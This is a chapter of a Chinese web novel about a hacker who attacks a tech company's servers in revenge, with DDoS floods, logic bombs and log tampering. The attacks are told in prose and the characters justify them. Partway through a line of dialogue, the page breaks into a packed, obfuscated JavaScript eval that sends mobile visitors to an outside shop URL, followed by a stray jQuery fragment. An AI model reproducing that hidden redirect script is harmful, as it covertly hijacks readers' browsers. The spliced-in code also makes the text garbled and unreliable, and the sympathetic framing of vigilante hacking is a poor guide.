文趣网 > 都市小说 > 《天工秘录》传人成长记 > 80.愤怒的反击
    严策站在落地窗前,手机屏幕的光映亮了他的下颌线。窗外,城市彻底沉入深夜,只有零星灯火如孤岛般漂浮在黑暗里。秦悦走到他身边,递过来一杯温水。玻璃杯壁温热,水汽氤氲。“他会成功的。”秦悦轻声说,但声音里没有多少把握。严策接过水杯,没有喝。他的目光落在手机屏幕上,李浩最后发来的那两个字——“开始”——像两颗投入深潭的石子,涟漪正在看不见的数据海洋里扩散。远处,某栋写字楼的轮廓在夜色中模糊,那是寰宇科技总部所在地。此刻,那里的某些服务器指示灯,或许正在疯狂闪烁。

    ***

    李浩的卧室里,只有电脑屏幕的光。

    三块显示器呈弧形排列,每一块上都滚动着密密麻麻的代码流、网络拓扑图、系统日志。机箱风扇发出低沉持续的嗡鸣,像某种机械生物的呼吸。空气里弥漫着电子元件发热的焦味,混合着桌上半罐能量饮料的甜腻气息。

    李浩的手指在键盘上飞舞。

    他的动作很快,但很稳。每一个敲击都精准地落在键帽中央,发出清脆的咔嗒声。屏幕上的光标跳跃,命令行窗口弹出又关闭,数据包像暴雨般倾泻而出。

    他的眼睛布满血丝。

    从接到母亲电话到现在,已经过去了六个小时。六个小时里,他安抚了崩溃的母亲,指导父亲配合警方做了笔录,调取了路口监控——那辆摩托车没有牌照,骑手戴着头盔,擦碰后迅速逃离,消失在监控盲区。六个小时里,他追踪了那个勒索电话,从虚拟运营商到层层转接,最终指向那家名为“鑫达商贸”的皮包公司,而这家公司的注册地址,与寰宇科技旗下一家子公司共享同一栋写字楼。

    六个小时里,愤怒像岩浆一样在他胸腔里翻滚、沸腾。

    现在,岩浆要喷发了。

    李浩深吸一口气,指尖悬停在回车键上方。屏幕上,是他花了三个小时编写的攻击脚本——一个结合了数据爬虫、逻辑炸弹和分布式拒绝服务攻击的混合体。核心算法部分,他融入了严策提供的那些古算法逻辑:那些基于《天工秘录》中“奇门遁甲”推演出的非线性序列,那些模拟自然物性变化的迭代函数。

    传统网络安全防护,基于的是现代数学和逻辑学。

    而这些古算法,来自另一个体系。

    李浩不知道它们具体是什么原理,但他测试过——用这些逻辑生成的加密序列,现有的破解工具需要多花百分之三十的时间才能解出;用这些逻辑设计的访问路径,能绕过百分之十五的常规防火墙规则。

    足够了。

    他敲下回车。

    屏幕中央,一个进度条开始缓慢爬升。百分之十,百分之二十。李浩盯着那些数字,手指无意识地敲击着桌面。木质桌面上有几道划痕,是他小时候用美工刀刻的,现在已经模糊。窗外的夜色浓得像墨,远处传来隐约的警笛声,由远及近,又由近及远。

    百分之五十。

    李浩端起能量饮料,喝了一大口。液体冰凉,带着人工香精的甜味,滑过喉咙时带来短暂的刺激。他看了一眼手机,屏幕上是严策发来的最后一条信息:“浩子,小心。”

    小心。

    李浩扯了扯嘴角。

    当对方越过那条线,用最下作的手段威胁你的家人时,“小心”这个词,就显得太苍白了。

    他要的不是小心。

    是反击。

    ***

    秦悦律师事务所的办公室里,时钟指向凌晨一点。

    严策坐在沙发上,面前的茶几上摊开着一本笔记本。秦悦坐在他对面,手里拿着一份打印出来的法律条文,但她的目光时不时飘向严策的手机。

    “他会用跳板吗?”秦悦问。

    “会。”严策说,“李浩很谨慎。他会用至少三层代理,攻击源会伪装成境外IP。攻击目标也不会是核心系统,而是那些对外公开、但防护严密的服务器节点。”

    “为什么选那些?”

    “因为那些节点承担着对外业务接口,一旦瘫痪,会影响客户访问、数据交换。但又不是核心数据库,不会造成不可逆的损失。”严策说,“李浩要的是混乱,是警告,不是毁灭。”

    秦悦沉默了几秒。

    “但法律上,这依然是破坏计算机信息系统罪。”她说,“一旦被追踪到,三年起步。严策,你真的支持他这么做?”

    严策抬起头。

    办公室的灯光是冷白色,照在他脸上,让他的轮廓显得更加分明。他的眼睛里有一种复杂的东西——愧疚,愤怒,无奈,还有一丝决绝。

    “秦律师,”他说,“如果今天被威胁的是你的父母,你会怎么做?”

    秦悦没有回答。

    她放下法律条文,走到窗边。玻璃上倒映出她的脸,疲惫,但眼神依然锐利。窗外,城市的夜景像一幅巨大的电路板,无数光点闪烁,无数数据在看不见的线缆里奔流。

    “我会报警。”她最终说,“用合法手段。”

    “报警了。”严策说,“警方立案了,但你知道这种案子破案率有多低。摩托车没有牌照,骑手身份不明,勒索电话经过层层转接,皮包公司法人是个七十岁的农村老人,什么都不知道。等警方查清楚,可能是一个月后,可能是半年后。而在这期间,对方可能还会再来一次,两次,三次。”

    他顿了顿。

    “浩子的母亲,今天下午接到电话后,哭了整整三个小时。她不敢出门,不敢接陌生电话,连邻居敲门都吓得发抖。”严策的声音很平静,但平静底下藏着某种坚硬的东西,“有些伤害,不是法律能立刻弥补的。有些警告,必须用对方能听懂的方式传达。”

    秦悦转过身,看着他。

    “所以你支持他。”

    “我理解他。”严策纠正道,“而且我相信,李浩知道分寸。他不会让自己暴露,不会造成无法挽回的损失。他只是在告诉那些人——我们不是任人宰割的羔羊。我们有能力反击,而且,我们不怕反击。”

    办公室陷入沉默。

    只有空调出风口的嘶嘶声,和远处街道上偶尔驶过的车辆声。

    ***

    李浩的屏幕上,进度条走到了百分之百。

    第一波攻击,启动。

    他选择了研究会对外公开的五个服务器节点作为目标。这些节点分布在三个不同的数据中心,承担着研究会官网、会员系统、学术论文库的访问接口。防护等级很高,但李浩之前已经摸清了它们的漏洞——一个存在于负载均衡器里的逻辑缺陷,一个缓存服务器的配置错误,还有三个应用层的注入点。

    攻击脚本开始工作。

    数据爬虫像无数只细小的蜘蛛,沿着预设的路径涌入目标系统。它们不窃取数据,只是疯狂地请求页面,提交表单,触发接口。每一个请求都带着精心构造的畸形参数,每一个表单提交都包含能触发异常处理的特殊字符。

    服务器日志开始疯狂滚动。

    错误提示像雪崩一样涌现。

    李浩切到第二个屏幕,那里显示着目标节点的实时监控数据。CPU使用率从百分之三十飙升到百分之九十五,内存占用直线上升,网络流量瞬间暴涨三倍。其中一个节点的负载均衡器开始丢弃请求,响应时间从毫秒级延长到秒级。

    第一个目标,开始卡顿。

    李浩没有停。

    他启动了第二波攻击——逻辑炸弹。

    这是更精巧的部分。他利用之前掌握的权限,在目标系统的几个非关键配置文件里,植入了伪装成正常代码的恶意片段。这些片段不会立刻生效,而是在特定条件触发后——比如系统时间到达某个整点,或者某个特定进程启动——才开始执行。

    执行的内容很简单:修改系统日志的存储路径,导致日志写入失败;篡改DNS解析记录,让部分域名指向不存在的地址;触发虚假的安全警报,让监控系统误判遭受大规模入侵。

    李浩设置了三重触发条件。

    第一重,在攻击开始后十分钟。

    第二重,在系统管理员尝试修复时。

    第三重,在攻击结束后两小时。

    他要的混乱,不是一瞬间的,而是持续的,蔓延的,像病毒一样在系统内部扩散。

    第二个屏幕上的监控数据开始变化。

    其中一个节点的日志系统突然报错,存储空间显示已满——但实际上,硬盘还有百分之七十的剩余。另一个节点的内部通讯服务开始异常,部分模块无法互相识别。第三个节点的安全警报灯亮起,自动防御机制启动,开始封锁“可疑”IP——其中一半是正常的用户访问。

    混乱,开始了。

    李浩深吸一口气,手指移到第三个攻击模块。

    这次的目标,是寰宇科技。

    他选择了三个业务数据库——客户关系管理系统、供应链管理平台、项目协作工具。这些都不是核心财务或研发数据,但一旦瘫痪,会影响寰宇科技日常运营的多个环节。

    攻击方式更隐蔽。

    李浩没有直接攻击数据库服务器,而是瞄准了它们的访问接口。他编写了一组模拟正常业务请求的脚本,但这些请求的频率是正常情况的五百倍。每一个请求都带着合法的身份令牌——这些令牌是他从之前渗透测试时留下的后门里获取的,已经失效,但系统验证逻辑存在漏洞,仍然会接受。

    海量的请求涌向接口。

    数据库连接池迅速耗尽。

    查询队列堆积,响应超时,事务锁死。

    李浩看着第三个屏幕上的数据流图,那些代表请求的绿色线条像疯长的藤蔓,迅速爬满整个拓扑图,然后开始变红——红色代表错误,代表超时,代表系统不堪重负。

    第三个目标,开始崩溃。

    ***

    凌晨两点,寰宇科技总部,网络安全监控中心。

    值班工程师王磊打了个哈欠,揉了揉发酸的眼睛。监控墙上,几十块屏幕显示着公司各个系统的运行状态。大部分区域都是平稳的绿色,只有边缘几个节点偶尔闪烁黄色——那是正常的负载波动。

    夜班很无聊。

    王磊端起咖啡,喝了一口。液体已经凉了,带着苦涩的味道。他正准备去接杯热水,突然,监控墙中央的一块屏幕闪了一下。

    红色警报。

    王磊愣了一下。

    那块屏幕对应的是研究会对外服务器节点三。红色警报意味着系统严重异常,可能是宕机,可能是遭受攻击。他放下咖啡杯,快步走到控制台前,调出详细日志。

    日志像瀑布一样滚动。

    “错误:负载均衡器会话数超限。”

    “警告:应用服务器内存溢出。”

    “错误:数据库连接池耗尽。”

    “警报:检测到异常访问模式,疑似DDoS攻击。”

    王磊皱起眉头。

    他迅速调出流量监控图。图表上,代表入站流量的蓝色曲线像悬崖一样陡峭上升,在短短三分钟内暴涨了二十倍。来源IP分布在全球各地,大部分是云服务商的地址,显然是僵尸网络。

    “妈的,真来了。”王磊低声骂了一句。

    他启动应急预案:首先,启用备用带宽,分流攻击流量;其次,封锁攻击源IP段;第三,通知研究会技术负责人。

    但当他尝试执行第二步时,系统卡住了。

    配置界面加载缓慢,提交按钮点了没反应。王磊又试了几次,依然如此。他切到系统监控,发现配置管理服务的内存占用已经达到百分之九十九,CPU使用率百分之百。

    “见鬼……”

    王磊意识到,攻击不只是流量冲击。

    系统内部,还有别的东西。

    他尝试重启配置管理服务,但重启命令发出后,服务没有正常停止,反而触发了另一轮警报——安全监控系统突然弹出十几个红色弹窗,显示“检测到内部渗透尝试”、“关键配置文件被篡改”、“DNS解析异常”。

    监控墙上的红色区域开始扩散。

    从一块屏幕,到三块,到五块。

    王磊的额头渗出冷汗。他抓起内部通讯电话,拨通了技术负责人的号码。铃声响了七声,才被接起。

    “喂?”电话那头的声音带着睡意。

    “张总,出事了。”王磊语速很快,“研究会节点遭受大规模攻击,疑似

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695394|207667||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    混合型,流量攻击加逻辑炸弹。我们的配置管理系统也受影响,应急预案无法执行。”

    电话那头沉默了两秒。

    “攻击源?”

    “全球分布,至少五千个IP,大部分是肉鸡。攻击模式很专业,有规避检测的策略。”

    “损失?”

    “节点三已经半瘫痪,节点一和节点五开始卡顿。内部系统出现虚假警报,DNS解析部分异常。寰宇那边……我刚收到通知,客户关系管理系统接口响应超时,供应链平台查询队列堆积。”

    电话那头传来窸窸窣窣的声音,像是对方坐了起来。

    “能追踪到真实源头吗?”

    “需要时间。”王磊说,“攻击链很长,至少三层跳板。而且对方清理痕迹很干净,每次连接只持续几秒就断开。”

    “先稳住系统。”技术负责人的声音变得清醒而严肃,“启用所有备用资源,优先保障核心业务。追踪的事,我马上安排人接手。”

    电话挂断。

    王磊擦了擦额头的汗,开始操作。但他的手指刚碰到键盘,监控墙上又一块屏幕变红——这次是寰宇科技的项目协作工具数据库,连接数爆满,查询全部超时。

    混乱,在蔓延。

    ***

    李浩的卧室里,时间指向凌晨三点。

    攻击已经持续了两个小时。

    三块屏幕上的数据流开始放缓。李浩预设的攻击脚本进入了收尾阶段——数据爬虫逐渐停止请求,逻辑炸弹的触发条件已经全部满足,对寰宇接口的海量查询开始减少。

    他切出一个命令行窗口,输入清理指令。

    一层层跳板被断开,代理服务器上的日志被覆盖,临时文件被删除。他在每一层都留下了误导性的痕迹——一些指向竞争对手公司的伪造日志,一些模仿业余黑客手法的低级错误,还有一些完全随机的垃圾数据。

    真正的攻击路径,被埋在了十层伪装之下。

    李浩做完这一切,靠在椅背上,长长地吐出一口气。

    身体很累。

    手指因为长时间敲击键盘而微微发抖,眼睛干涩发痛,太阳穴一跳一跳地疼。但他心里,那股翻滚的岩浆,终于平息了一些。

    他看了一眼第二个屏幕。

    研究会的五个节点,三个显示“严重异常”,两个显示“性能下降”。寰宇科技的三个业务数据库接口,全部“响应超时”。内部监控系统里,虚假警报还在持续触发,DNS解析异常影响了至少十分之一的内部服务。

    混乱,达到了他预期的效果。

    李浩端起已经凉透的能量饮料,一饮而尽。甜腻的液体滑过喉咙,带来短暂的满足感。他放下罐子,金属罐底撞击桌面,发出清脆的响声。

    然后,他做了最后一件事。

    打开一个加密的匿名邮件客户端,将之前整理好的证据打包——鑫达商贸的工商注册信息,与寰宇科技子公司的地址关联,虚拟运营商的转接记录,勒索电话的录音片段,还有他从交通监控里截取的摩托车画面。

    附件,添加。

    收件人,填写了市场监管部门和税务部门的公开举报邮箱。

    主题栏,他输入:“关于寰宇科技关联公司涉嫌敲诈勒索及税务问题的实名举报(匿名)”。

    正文,他只写了一段话:

    “证据材料如附件。涉事公司‘鑫达商贸’与寰宇科技存在隐蔽关联,涉嫌利用皮包公司进行非法活动。请有关部门依法查处。”

    点击,发送。

    邮件传输进度条快速走完,显示“发送成功”。

    李浩关掉客户端,清空缓存,退出程序。

    现在,他能做的,都做了。

    ***

    凌晨四点,攻击彻底停止。

    研究会的服务器节点开始缓慢恢复。备用带宽起了作用,流量逐渐回落。技术团队连夜赶到监控中心,开始排查逻辑炸弹,修复被篡改的配置文件,清理虚假警报。

    但混乱的余波还在持续。

    内部通讯系统里,消息一条接一条:

    “节点三的数据库连接池需要手动重建。”

    “配置管理服务的缓存全部失效,正在重新加载。”

    “安全警报系统误报了十七次入侵,日志需要人工复核。”

    “寰宇那边的业务部门在投诉,客户关系管理系统今天早上可能无法正常使用。”

    寰宇科技总部,IT运维部的电话被打爆。

    “为什么项目文件同步不了?”

    “供应链数据为什么查不到?”

    “客户信息页面加载要三十秒,怎么回事?”

    “今天上午的远程会议系统会不会受影响?”

    没有人给出确切的答案。

    技术团队只能回复:“系统正在维护,预计两小时内恢复。”

    但两小时,足够让很多事变得麻烦。

    ***

    凌晨四点三十分,李浩收到严策的信息。

    只有一句话:

    “适可而止,注意安全。他们很快会报复。”

    李浩看着屏幕上的字,笑了笑。

    笑容很淡,带着疲惫,但眼睛里有一种之前没有的东西——一种释然,一种坚定。

    他回复:

    “我知道。但我准备好了。”

    发送。

    然后,他关掉电脑。

    三块屏幕同时熄灭,卧室陷入黑暗。只有窗外透进来的路灯光,在地板上投下模糊的格子影。李浩站起来,走到窗边,推开窗户。

    夜风涌进来,带着凌晨特有的凉意,吹散房间里电子元件的焦味。远处,城市的天际线开始泛起一丝极淡的灰白,像宣纸上晕开的水墨。街道空荡荡的,偶尔有环卫车的引擎声传来,又渐渐远去。

    李浩深吸一口气。

    空气里有露水的味道,有远处河流的湿气,有这个城市在沉睡中均匀的呼吸。

    他站了很久。

    直到东方的天空,那抹灰白逐渐染上极浅的橙红。

    新的一天,要开始了。

    而战争,才刚刚打响。